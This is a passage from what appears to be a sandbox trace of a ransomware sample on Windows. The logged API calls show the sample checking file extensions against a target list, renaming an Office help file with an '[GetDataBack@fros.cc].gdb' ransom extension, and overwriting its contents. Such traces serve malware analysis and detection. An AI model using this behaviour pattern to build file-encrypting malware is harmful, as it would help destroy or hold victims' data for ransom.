lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.432] lstrlenW (lpString=".doc") returned 4 [0117.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.432] lstrlenW (lpString=".docx") returned 5 [0117.432] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0117.432] lstrlenW (lpString=".pdf") returned 4 [0117.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.432] lstrlenW (lpString=".xls") returned 4 [0117.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.432] lstrlenW (lpString=".xlsx") returned 5 [0117.432] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0117.432] lstrlenW (lpString=".ppt") returned 4 [0117.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.433] lstrlenW (lpString=".zip") returned 4 [0117.433] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.433] lstrlenW (lpString=".rar") returned 4 [0117.433] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString=".bz2") returned 4 [0117.433] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString=".7z") returned 3 [0117.433] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.433] lstrlenW (lpString=".dbf") returned 4 [0117.433] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.433] lstrlenW (lpString=".1cd") returned 4 [0117.433] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.433] lstrlenW (lpString=".jpg") returned 4 [0117.433] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.433] lstrlenW (lpString=".doc") returned 4 [0117.433] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString=".docx") returned 5 [0117.433] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0117.433] lstrlenW (lpString=".pdf") returned 4 [0117.433] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString=".xls") returned 4 [0117.433] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.433] lstrlenW (lpString=".xlsx") returned 5 [0117.433] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0117.433] lstrlenW (lpString=".ppt") returned 4 [0117.433] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.434] lstrlenW (lpString=".zip") returned 4 [0117.434] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.434] lstrlenW (lpString=".rar") returned 4 [0117.434] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.434] lstrlenW (lpString=".bz2") returned 4 [0117.434] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.434] lstrlenW (lpString=".7z") returned 3 [0117.434] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.434] lstrlenW (lpString=".dbf") returned 4 [0117.434] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.434] lstrlenW (lpString=".1cd") returned 4 [0117.434] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0117.434] lstrlenW (lpString=".jpg") returned 4 [0117.434] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.434] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.434] lstrlenW (lpString="ipsfin.xml") returned 10 [0117.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0117.434] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2658) returned 1 [0117.435] CloseHandle (hObject=0x1c4) returned 1 [0117.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0117.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.435] lstrlenW (lpString=".doc") returned 4 [0117.435] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString=".docx") returned 5 [0117.435] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.435] lstrlenW (lpString=".pdf") returned 4 [0117.435] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString=".xls") returned 4 [0117.435] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString=".xlsx") returned 5 [0117.435] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.435] lstrlenW (lpString=".ppt") returned 4 [0117.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.435] lstrlenW (lpString=".zip") returned 4 [0117.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.435] lstrlenW (lpString=".rar") returned 4 [0117.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString=".bz2") returned 4 [0117.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString=".7z") returned 3 [0117.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.435] lstrlenW (lpString=".dbf") returned 4 [0117.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.435] lstrlenW (lpString=".1cd") returned 4 [0117.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.435] lstrlenW (lpString=".jpg") returned 4 [0117.435] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.436] lstrlenW (lpString=".doc") returned 4 [0117.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString=".docx") returned 5 [0117.436] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.436] lstrlenW (lpString=".pdf") returned 4 [0117.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString=".xls") returned 4 [0117.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString=".xlsx") returned 5 [0117.436] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.436] lstrlenW (lpString=".ppt") returned 4 [0117.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.436] lstrlenW (lpString=".zip") returned 4 [0117.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.436] lstrlenW (lpString=".rar") returned 4 [0117.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString=".bz2") returned 4 [0117.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString=".7z") returned 3 [0117.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.436] lstrlenW (lpString=".dbf") returned 4 [0117.436] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.436] lstrlenW (lpString=".1cd") returned 4 [0117.436] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0117.436] lstrlenW (lpString=".jpg") returned 4 [0117.436] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.436] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.436] lstrlenW (lpString="ipsfra.xml") returned 10 [0117.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0117.437] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2628) returned 1 [0117.437] CloseHandle (hObject=0x1c4) returned 1 [0117.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0117.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.438] lstrlenW (lpString=".doc") returned 4 [0117.438] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString=".docx") returned 5 [0117.438] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0117.438] lstrlenW (lpString=".pdf") returned 4 [0117.438] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString=".xls") returned 4 [0117.438] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString=".xlsx") returned 5 [0117.438] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0117.438] lstrlenW (lpString=".ppt") returned 4 [0117.438] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.438] lstrlenW (lpString=".zip") returned 4 [0117.438] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.438] lstrlenW (lpString=".rar") returned 4 [0117.438] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString=".bz2") returned 4 [0117.438] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString=".7z") returned 3 [0117.438] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.438] lstrlenW (lpString=".dbf") returned 4 [0117.438] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.438] lstrlenW (lpString=".1cd") returned 4 [0117.438] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.438] lstrlenW (lpString=".jpg") returned 4 [0117.438] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.439] lstrlenW (lpString=".doc") returned 4 [0117.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString=".docx") returned 5 [0117.439] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0117.439] lstrlenW (lpString=".pdf") returned 4 [0117.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString=".xls") returned 4 [0117.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString=".xlsx") returned 5 [0117.439] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0117.439] lstrlenW (lpString=".ppt") returned 4 [0117.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.439] lstrlenW (lpString=".zip") returned 4 [0117.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.439] lstrlenW (lpString=".rar") returned 4 [0117.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString=".bz2") returned 4 [0117.439] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString=".7z") returned 3 [0117.439] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.439] lstrlenW (lpString=".dbf") returned 4 [0117.439] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.439] lstrlenW (lpString=".1cd") returned 4 [0117.439] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0117.439] lstrlenW (lpString=".jpg") returned 4 [0117.439] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.439] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.439] lstrlenW (lpString="ipshrv.xml") returned 10 [0117.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0117.440] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2652) returned 1 [0117.440] CloseHandle (hObject=0x1c4) returned 1 [0117.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0117.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0117.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0117.440] lstrlenW (lpString=".doc") returned 4 [0117.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.440] lstrlenW (lpString=".docx") returned 5 [0117.440] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0117.441] lstrlenW (lpString=".pdf") returned 4 [0117.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.441] lstrlenW (lpString=".xls") returned 4 [0117.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.441] lstrlenW (lpString=".xlsx") returned 5 [0117.441] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0117.441] lstrlenW (lpString=".ppt") returned 4 [0117.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0117.441] lstrlenW (lpString=".zip") returned 4 [0117.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.441] lstrlenW (lpString=".rar") returned 4 [0117.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.441] lstrlenW (lpString=".bz2") returned 4 [0117.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.441] lstrlenW (lpString=".7z") returned 3 [0117.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0117.441] lstrlenW (lpString=".dbf") returned 4 [0117.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0117.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0117.448] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fa94 | out: lpNewFilePointer=0x0) returned 1 [0117.448] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fa54 | out: lpNewFilePointer=0x0) returned 1 [0117.448] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x204fa60, lpOverlapped=0x0 | out: lpBuffer=0x3180058*, lpNumberOfBytesRead=0x204fa60*=0x40000, lpOverlapped=0x0) returned 1 [0117.453] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x204fa54 | out: lpNewFilePointer=0x0) returned 1 [0117.453] ReadFile (in: hFile=0x1c4, lpBuffer=0x31c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x204fa60, lpOverlapped=0x0 | out: lpBuffer=0x31c0058*, lpNumberOfBytesRead=0x204fa60*=0x40000, lpOverlapped=0x0) returned 1 [0117.761] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x204fa94 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.761] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x204fa54 | out: lpNewFilePointer=0x0) returned 1 [0117.761] ReadFile (in: hFile=0x1c4, lpBuffer=0x3200058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x204fa60, lpOverlapped=0x0 | out: lpBuffer=0x3200058*, lpNumberOfBytesRead=0x204fa60*=0x40000, lpOverlapped=0x0) returned 1 [0117.776] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0117.776] WriteFile (in: hFile=0x1c4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x204fad8, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fad8*=0xc0100, lpOverlapped=0x0) returned 1 [0117.834] SetEndOfFile (hFile=0x1c4) returned 1 [0117.838] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204faa4 | out: lpNewFilePointer=0x0) returned 1 [0117.838] WriteFile (in: hFile=0x1c4, lpBuffer=0x37e5b38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x204fab0, lpOverlapped=0x0 | out: lpBuffer=0x37e5b38*, lpNumberOfBytesWritten=0x204fab0*=0x40000, lpOverlapped=0x0) returned 1 [0118.064] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x204faa4 | out: lpNewFilePointer=0x0) returned 1 [0118.064] WriteFile (in: hFile=0x1c4, lpBuffer=0x37e5b38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x204fab0, lpOverlapped=0x0 | out: lpBuffer=0x37e5b38*, lpNumberOfBytesWritten=0x204fab0*=0x40000, lpOverlapped=0x0) returned 1 [0118.066] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x204faa4 | out: lpNewFilePointer=0x0) returned 1 [0118.066] WriteFile (in: hFile=0x1c4, lpBuffer=0x37e5b38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x204fab0, lpOverlapped=0x0 | out: lpBuffer=0x37e5b38*, lpNumberOfBytesWritten=0x204fab0*=0x40000, lpOverlapped=0x0) returned 1 [0118.069] CloseHandle (hObject=0x1c4) returned 1 [0119.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString=".doc") returned 4 [0119.024] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString=".docx") returned 5 [0119.024] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0119.024] lstrlenW (lpString=".pdf") returned 4 [0119.024] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString=".xls") returned 4 [0119.024] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString=".xlsx") returned 5 [0119.024] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0119.024] lstrlenW (lpString=".ppt") returned 4 [0119.024] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString=".zip") returned 4 [0119.024] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString=".rar") returned 4 [0119.024] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString=".bz2") returned 4 [0119.024] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0119.024] lstrlenW (lpString=".7z") returned 3 [0119.024] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString=".dbf") returned 4 [0119.024] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString=".1cd") returned 4 [0119.024] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString=".jpg") returned 4 [0119.024] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.024] lstrlenW (lpString=".doc") returned 4 [0119.025] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0119.025] lstrlenW (lpString=".docx") returned 5 [0119.025] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0119.025] lstrlenW (lpString=".pdf") returned 4 [0119.025] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 